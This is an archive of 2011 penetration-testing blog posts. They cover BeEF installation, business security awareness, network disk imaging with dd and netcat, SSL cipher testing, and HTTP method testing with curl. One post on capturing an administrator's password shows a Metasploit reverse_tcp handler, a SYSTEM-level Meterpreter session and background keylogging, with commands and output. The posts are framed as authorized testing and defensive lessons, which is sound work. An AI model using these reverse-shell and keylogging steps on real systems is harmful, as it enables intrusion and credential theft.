Saturday, 30 July 2011

Read Meat Series: Backtrack 5 Installation Script for BeEF

This is just a quick note to let you know that I recently put together a Backtrack 5 Installation Script on the BeEF project wiki here.

You won't have to install BeEF by hand on your Backtrack 5 H4x0r server farms and clouds anymore ;).

Business Security Awareness - What every Business needs to know

When you are running a business, you depend on technology, devices and IT services, you need to be aware of several security implications. The greater the level of access to the numerous systems you have in place, the greater the number of security precautions you must take to protect each and every part of the system, whilst allowing access to users.

The Dangers

No matter what kind of business you’re running, your IT infrastructure could be the target of one or more of the following attacks:
  • Internal
o A disgruntled employee seeking revenge
o An employee trying to defraud the company
o Industrial Espionage
o An employee trying to gain unauthorized access to information
  • External
o Random Attacks
oTargeted Attacks
§ Industrial Espionage
§ Hacktivism
§ Financial Gain
§ Disgruntled ex-employee seeking revenge

Types of data that are highly prized include: Internal attacks are generally the most insidious: The individual launching the attack often has a good understanding of what security measures he/she is up against and the requisite knowledge to bypass those measures and ensure the attack is undetected. When disgruntled employees are the source of trouble, they are highly motivated and unlikely to give up easily. Apart from taking revenge on the employer, some ex-employees see considerable financial gain if they steal valuable and confidential data which they can then sell on to unscrupulous competitors:
  • Client lists
  • Clients financial data
  •  Trade secrets for which competitors might be willing to pay significant amounts of money.

External attacks can take on multiple forms. Many hackers simply perform random internet scans for known vulnerabilities. They are looking for easy targets – those who believe that, because they are a small company, no one really has the motivation to attack their small IT infrastructure and that their systems are therefore safe. They also have no idea that most of these attacks are not targeted but carried out by programs designed to look out for vulnerable systems through random internet scans. These programs are not run within specific parameters, they do not distinguish between Microsoft and the small corner grocer – if the IT system is connected to the Internet, they will attack both.

Targeted attacks, as the name implies, are those that are designed and executed against your IT infrastructure with intent. Targeted attacks are carried out for various reasons, including:
  •  They have easy access
  • They know which systems are vulnerable
  •  The target business does things that go against the hacker group ideology
  •  Targets seem to have lax security
  •  Target systems are considered to be valuable data sources
  • Competitor paid groups engage these attacks to carry out industrial espionage on your business

For each of the above reasons, your business can become a target – the only variables are the size of the business, the infrastructure and the type of operation. A wireless Access Point in operation might provide easy access, especially if there is parking space nearby. If your IT infrastructure is not regularly patched and maintained it will most likely have known vulnerabilities. Your business might operate in an industry or have business practices that a hacker group might be ideologically opposed to. If you are running a small shop that is not IT oriented, attackers might believe that the business is likely to lack proper security and could therefore be an easy target.

The bottom line is that business size is not really an effective defence; small businesses make a good target for some attackers inasmuch as larger businesses make a good target for other attackers.

What should one do?

What is crucial for businesses is that they understand the implications of weak security and there is a high level of awareness within the organization. There are many resources online that show businesses how to go about securing an IT infrastructure. Always keep in mind that security is about achieving a cost to benefit ratio. If mitigating a risk costs more than the risk itself, it does not make sense to manage that risk. Conversely, mitigating no risks at all will be a very costly decision as the likelihood of a network being compromised increases substantially. Every compromise, no matter how small, costs money – be it to restore the system, the loss of important information or the loss of the business’ reputation.

The following is a list of must-have security measures for any business:
  • Patch management (make sure your software is up-to-date with the latest security patches)
  • Antivirus
  • Proper configuration (do not be content with having servers/services simply running; look up guides and make sure the configuration you have set for your servers/services is optimal from a security perspective)
  • Close any unused ports and promptly remove unused/retired user accounts
  • Ensure no unnecessary shares are open
  • Ensure proper access control
  • Monitor logs /events
  • Test your web applications for security (in 86% of all attacks a web interface was exploited)
  • Implement a vulnerability management program (regularly test the controls above work and intelligently spend budget on the verified issues that impact your business the most)

Security is a vast subject and some people may find themselves at a loss trying to understand and manage security risks. However, every bit of knowledge helps. If you are aware of the dangers you are in a better position to avoid them.

This guest post was provided by Emmanuel Carabott on behalf of GFI Software Ltd. GFI is a leading software development company that provides a single source for network administrators to address their network security, content security and messaging needs.

All product and company names herein may be trademarks of their respective owners.

Saturday, 23 July 2011

Acquiring a Raw Hard Drive image with Backtrack 5 over the network

Let's imagine the following fictional scenario:

You are operating on a shoe string security budget. An old Windows XP SP0 machine was compromised and you are tasked with acquiring a raw hard drive image so that you can perform some forensics on that image later on. To keep things simple we are leaving memory forensics for another time :).

NOTE: You can of course use this method for non compromised machines too but in this post "the machine from which we will retrieve the hard drive image" will be called "the compromised machine" for brevity :).

NOTE 2: Try not to skim too much through this and look at least look at the security notes at the end!

How can you do this?

One simple way to do it is with Backtrack 5: This Linux distribution comes with a new Forensically sound boot mode and most of the best security tools (including forensic tools) already installed for you.

Virtual machines note

You can also use this method (which is more likely to be useful in real life and is also very simple to carry out) to convert vmdk hard drive images into raw hard drive images instead of the serious pain other people went through to achieve similar things -that is ok for fun! and many thanks to all the guys who took the time to document all that in the links that follow- (tools with cumbersome installation steps, multiple time consuming steps and significant limitations -like not being able to process more than 2GB hard drives-, no VMWare 7 hard drive support, etc).

Once you have the raw hard drive image you can pretty much convert to any virtualisation platform using some of the information in the previous links flawlessly.

The method described in this post will always work: Both for real systems as well as virtual machines. It is important to note that this will also work with Virtual Box, Qemu or any other virtualisation platform (not just VMWare) because it is platform agnostic (you only need the virtualisation platform to let you boot from the ISO file and you are set).

For all these reasons I believe this is one of the best methods to capture a raw hard drive image.

Step 1 - Download a Backtrack ISO image from the website or torrent

Burn that to a DVD if using a physical system or set the ISO file as a DVD if using VMWare or similar.

Step 2 - Reboot the compromised machine, configure the BIOS to boot from the DVD (set the ISO file as a DVD if using VMWare)

This is a bit obvious but here is a screenshot anyway (note how the CD-ROM is at the top of the boot sequence):

Step 3 - Boot the compromised machine from the Backtrack 5 DVD in Forensics mode

NOTE: Type enter on the black screen before this if you are impatient ;)

NOTE: You will of course have to setup the network and verify connectivity after you boot

In this example, the compromised machine will be setup as

Step 4 - Prepare a netcat listener to capture the image over the network

A common problem when capturing a raw hard drive image is: Where can I store these many GB?? A USB dongle or a slave hard drive are somewhat cumbersome options. There is an easier way: Capture the raw hard drive image over the network (i.e. to a machine that has access to more hard drive space to store the image).

One way to do this is to setup a netcat listener on a given port so that input to that port is saved as a raw image on that machine. The netcat listener machine can also be a Backtrack 5 DVD or installation but you only really need netcat and dd for this.

In this example the netcat listener machine is The netcat listener can be prepared as follows: First netcat listens on port 123 -you can obviously choose any port for this!-, all the input to this port is redirected to the dd command, which will save the output file -"of" for short- as WinXPSP0.img:

# nc -nlvp 123 | dd of=WinXPSP0.img

Step 5 - Send the raw image over the network from the compromised machine

Because Backtrack has been booted in Forensics mode the hard drive is not mounted, we need to determine what device the hard drive is on, to do this we can search for things like "sda" or "hda" in the dmesg command output:

# dmesg | grep sda

We can also verify that the hard drive has not been mounted by analysing the mount command output (this returns nothing because it was not mounted):

# mount | grep sda

We can also verify that the device in question is what we expect it to be with the fsstat tool which is included by default in Backtrack 5 (for brevity we truncate the output so that only the file system is displayed):

# fsstat /dev/sda1 | head -3

After all these checks, we are ready to send the image over the network. In our example, we will read the raw hard drive data using the dd command ("if" is short for "input file") and then pipe the output of that to netcat, which will send the raw data to our netcat listener that we setup earlier:

# dd if=/dev/sda1 | nc 123

You will note that nothing is displayed initially, that is ok, after this finishes (it will take a while depending on the hard drive size) you will get some stats on this screen, be patient!

All of this in one image:

Step 6 - Monitor and verify the raw image is transmitted correctly from the listener machine

On the listener machine you will basically see no output at all so what you can do is to look at how many GB have to be transmitted (for example from the output of the dmesg command above we know this is going to be 4.3GB or so) and look at how the image size grows over time in another window.

Only after you are sure all the raw data has been copied you can "Control + C" here to see the output of the dd command. You can verify the image is an NTFS volume with other tools like for example the file command:

In the screenshot above you can see how the connection is coming from, the compromised machine in this example. You should see this straight away and this will let you know things are working correctly. You will only see the dd stats after Control + C is pressed.

Security Notes

The security conscious among you will be thinking something along the lines of "you are sending a full raw hard drive image over the network in clear-text .. are you crazy?" if you thought this ... good on you! :)


NOTE: If you are doing this from two guest virtual machines on the same host machine (i.e. not really using the network at all, as I did above) encryption is really pointless and unnecessary overhead but nice for fun and experimentation :).

You can trivially change the netcat examples above by substituting netcat (nc) with sbd (which also comes with Backtrack, has similar switches to netcat and allows for good encryption):

Listener example:
Change this:
# nc -nlvp 123 | dd of=WinXPSP0.img
To this:
# sbd -nlvp 123 -k this_is_my_super_long_and_complex_password_type_something_else_here_lalala_hey | dd of=WinXPSP0.img

Compromised machine example:
Change this:
# dd if=/dev/sda1 | nc 123
To this:
# dd if=/dev/sda1 | sbd -k this_is_my_super_long_and_complex_password_type_something_else_here_lalala_hey 123

Limiting TCP connections

ok, that sorts out encryption, what about limiting TCP connections to only accept them from the compromised machine? (i.e. instead of anybody in your network/planet) You can also do this trivially by following the steps in this blog post.

Saturday, 16 July 2011

Testing for SSL-TLS (OWASP-CM-001)

A nice tool for SSL cipher testing is this Perl script:, however, in Backtrack and also on other distros you may get this error the first time you run it: -vw 443
ERROR: Unable to find /usr/bin/gnutls-cli-debug.
Please install the gnutls-devel package
To avoid that simply install the missing package as follows:
# apt-get install gnutls-bin
After that the tool should be working correctly, I like to use it as follows (this performs some general checks and then looks only for enabled weak -w- ciphers): -vw host port >> ciphers 2>> ciphers.errors
This looks for strong (s) ciphers, you can check for all ciphers (weak or strong) using the "a" option: -vs host port >> ciphers 2>> ciphers.errors
Example cipher output:
TLSv1:RC4-MD5 - ENABLED - STRONG 128 bits
TLSv1:AES128-SHA - ENABLED - STRONG 128 bits
TLSv1:AES256-SHA - ENABLED - STRONG 256 bits
Because you can save the output into a text file you can always scan for all ciphers and then grep for "WEAK" in it.
Another interesting tool for SSL Testing is called sslscan, this does not need you to install the gnutls-bin package and will work straightaway in Backtrack (it is also already included in Backtrack by the way).
In the following URL there are a few nice tips on what to look for when parsing sslscan output. Instead of calling sslscan several times however it is more efficient to do something like this:
Step 1: First save output into a text file:
# sslscan > sslscan.txt
Step 2: Now look for what you need in that output (so you only run sslscan once):
root@bt:~# grep "Accepted SSLv2" sslscan.txt
root@bt:~# grep "Accepted SSLv3" sslscan.txt
Accepted SSLv3 256 bits DHE-RSA-AES256-SHA
Accepted SSLv3 256 bits AES256-SHA
Accepted SSLv3 128 bits DHE-RSA-AES128-SHA
Accepted SSLv3 128 bits AES128-SHA
Accepted SSLv3 168 bits EDH-RSA-DES-CBC3-SHA
Accepted SSLv3 168 bits DES-CBC3-SHA
Accepted SSLv3 128 bits RC4-SHA
Accepted SSLv3 128 bits RC4-MD5
root@bt:~# grep "Accepted TLS" sslscan.txt
Accepted TLSv1 256 bits DHE-RSA-AES256-SHA
Accepted TLSv1 256 bits AES256-SHA
Accepted TLSv1 128 bits DHE-RSA-AES128-SHA
Accepted TLSv1 128 bits AES128-SHA
Accepted TLSv1 168 bits EDH-RSA-DES-CBC3-SHA
Accepted TLSv1 168 bits DES-CBC3-SHA
Accepted TLSv1 128 bits RC4-SHA
Accepted TLSv1 128 bits RC4-MD5
root@bt:~# grep -i "MD5WithRSAEncryption" sslscan.txt
Another cool tip from the ssl_tests bash script mentioned above is the simplicity to test for the famous SSL renegotiation:
echo R | openssl s_client -connect | grep DONE
A blog post on SSL testing could not be complete without mentioning the excellent SSL labs tool from Qualys. IMPORTANT: If you are doing this in a pentest or vulnerability assessment please make sure you tick the check-box "Do not show the results on the boards" to avoid issues down the line :)-i.e. your customer might welcome that little bit of anonymity-
This tool is great but will obviously only work when what you are testing is directly reachable from the internet, which sometimes is not the case (for example, in a pre-going-live test). Apart from presenting a cool overall summary graph like below, it will also perform a comprehensive SSL test on the web server:
Useful references with plenty of additional material on this:

Saturday, 9 July 2011

Meterpreter keylogger: Getting passwords the easy way

In a recent pen test, after compromising the host machine I faced the fact that LM hashes were disabled, and the passwords in use were relatively strong so the normal dictionary and brute-force attacks would not work straightaway.

Because it was a long pen test, I had an idea: I could use the meterpreter key logger feature (no clean up needed) and wait for the administrator user to eventually log into the machine. For several days this did not work but in the end ... you can guess what happened!

So first of all I had a metasploit multi-handler listening to my meterpreter payload configured to perform a reverse tcp connect:

/pentest/exploits/framework3/msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_tcp_allports LHOST= LPORT=xxxx E
[*] Please wait while we load the module tree...
PAYLOAD => windows/meterpreter/reverse_tcp_allports
LPORT => xxxx
[*] Started reverse handler on
[*] Starting the payload handler...
[*] Sending stage (749056 bytes) to xx.xx.xx.xx
[*] Meterpreter session 1 opened ( -> xx.xx.xx.xx:11149) at xxx xxx xx xx:xx:xx +xxxx xxxx

meterpreter > sysinfo
System Language : en_xx
OS : Windows 2008 R2 (Build 7601, Service Pack 1).
Computer : server_name
Architecture : x64 (Current Process is WOW64)
Meterpreter : x86/win32

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Until here, all normal. Now comes the first interesting thing .. if you run the keylogrecorder meterpreter script it will work but you will basically not be able to do any other things at the same time in meterpreter (the console is blocked on that script), if you make this small mistake it is handy to know that you can Control+C out of the hanging keylogrecorder script and get back to the meterpreter console without losing your meterpreter shell. But .. do not get overconfident, you will lose the meterpreter shell if you Control+C once more after that!:

meterpreter > run keylogrecorder
[*] Starting the keystroke sniffer...
[*] Keystrokes being saved in to /root/.msf3/logs/scripts/keylogrecorder/xx.xx.xx.xx_xxxxxxxx.5848.txt
[*] Recording
^C[*] Saving last few keystrokes

[*] Interrupt
[*] Stopping keystroke sniffer...

What we need to do instead is to run the keylogrecorder in the background: This way, using only 1 port we can save the keystrokes the user types while at the same time still be able to type in other commands on the meterpreter console, note how at the end we get the meterpreter prompt and can type other commands this time, all this happens while the keystroke logger is saving the keystrokes in the background:

meterpreter > bgrun keylogrecorder
[*] Executed Meterpreter with Job ID 0
meterpreter > [*] Starting the keystroke sniffer...
[*] Keystrokes being saved in to /root/.msf3/logs/scripts/keylogrecorder/xx.xx.xx.xx_xxxxxxxx.5907.txt
[*] Recording

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

A handy command to capture the keystrokes is idletime, this tells you if the user is active or not, if they are not active you have to wait more, off course. This approach is best performed while you are trying to crack the passwords in the background so you have two hopes: either the cracking or the keylogging will hopefully work. You have better chances to get the password this way.

meterpreter > idletime
User has been idle for: 2 days 22 hours 38 mins 50 secs

This was all not nice and dandy all the time, I lost the connection a few times and had to re-gain it and start the key logger again a few times but in the end patience won and I got the admin password, as you can see a few tries were needed and the key logger logs vary in size:

When you open the meterpreter key logger files it is best to do so as follows, the grep -v ^$ command will take away the blank lines so that you can see what you care about: The keystrokes. I think the meterpreter key logger sends a newline character per minute so that the connection is kept alive, if you open the file without this is a bit cumbersome. You can always redirect the output of the grep -v ^$ command to another file as well:

# grep -v ^$ name_of_the_file.txt|more

In the following screenshot, for brevity I show the first 5 non-blank lines of a keystroke capture, which displays the first two attempts of the admin to type the password, it is funny that you obviously capture the typos too, they may also try passwords for other systems, etc so you can basically build a nice targeted dictionary with this :)

Lessons to take home:
1 - Avoiding LM hashes is great but if someone compromises your host, there are other ways to get the password besides password cracking (i.e. keystroke logging).
2 - Oddly enough, a short screen timeout would require the user to type the password more often substantially increasing my chances of capturing it (i.e. if the pen test window was much shorter). Therefore a short screen timeout is not always the most secure option.
3 - If someone compromises a host they are just too deep in to prevent most things.
4 - You should have different layers of security to detect and mitigate the potential for this (assume compromise will happen).

Saturday, 2 July 2011

Testing for HTTP Methods and XST (OWASP-CM-008)

When Testing for HTTP Methods and XST a common vulnerability to find is XST. When you manually verify that this vulnerability is truly present (i.e. not a tool false positive) you can use tools like netcat but sometimes the web server is using SSL and netcat will not work straightaway. You can get around this using stunnel but I thought there had to be an easier way.

So, you do not need to set up a tunnel just for this ... just use curl!

Example not vulnerable server:

# curl -i -A 'Mozilla/5.0' -X 'TRACE /' -k
HTTP/1.1 403 Forbidden
Date: Sat, 04 Jun 2011 06:46:21 GMT
Server: Apache
Content-Length: 202
Connection: close
Content-Type: text/html; charset=iso-8859-1

<title>403 Forbidden</title>
<p>You don't have permission to access /
on this server.</p>

Example of a vulnerable server:

# curl -i -A 'Mozilla/5.0' -X 'TRACE /' -k
HTTP/1.1 200 OK
Date: Sat, 04 Jun 2011 06:34:51 GMT
Server: Apache
Connection: close
Content-Type: message/http

TRACE / / HTTP/1.1
User-Agent: Mozilla/5.0
Accept: */*

On the curl switches:

"-A" - because sometimes the curl user agent may be blocked, you can set a normal looking one using this so that your probe goes through
"-i" - so that the request headers are displayed
"-X" - so that you can specify the verb (TRACE instead of the more common GET or POST)
"-k" - sometimes you might test this on an internal testing server that does not have a valid cert, at this point you do not care about the cert because you are testing for XST.

Other things with curl:

Testing for OPTIONS:

curl -i -A 'Mozilla/5.0' -X 'OPTIONS *'
HTTP/1.1 200 OK
Date: Sat, 04 Jun 2011 07:27:20 GMT
Server: Apache
Content-Length: 0
Connection: close
Content-Type: text/plain

Testing for DEBUG might give you the OPTIONS sometimes (and also tell you if DEBUG is enabled or not):

curl -i -A 'Mozilla/5.0' -X 'DEBUG /test' -H 'Command: start-debug'
HTTP/1.1 501 Method Not Implemented
Date: Sat, 04 Jun 2011 07:29:11 GMT
Server: Apache
Content-Length: 211
Connection: close
Content-Type: text/html; charset=iso-8859-1

<title>501 Method Not Implemented</title>
<h1>Method Not Implemented</h1>
<p>DEBUG to /test not supported.<br />

Some references: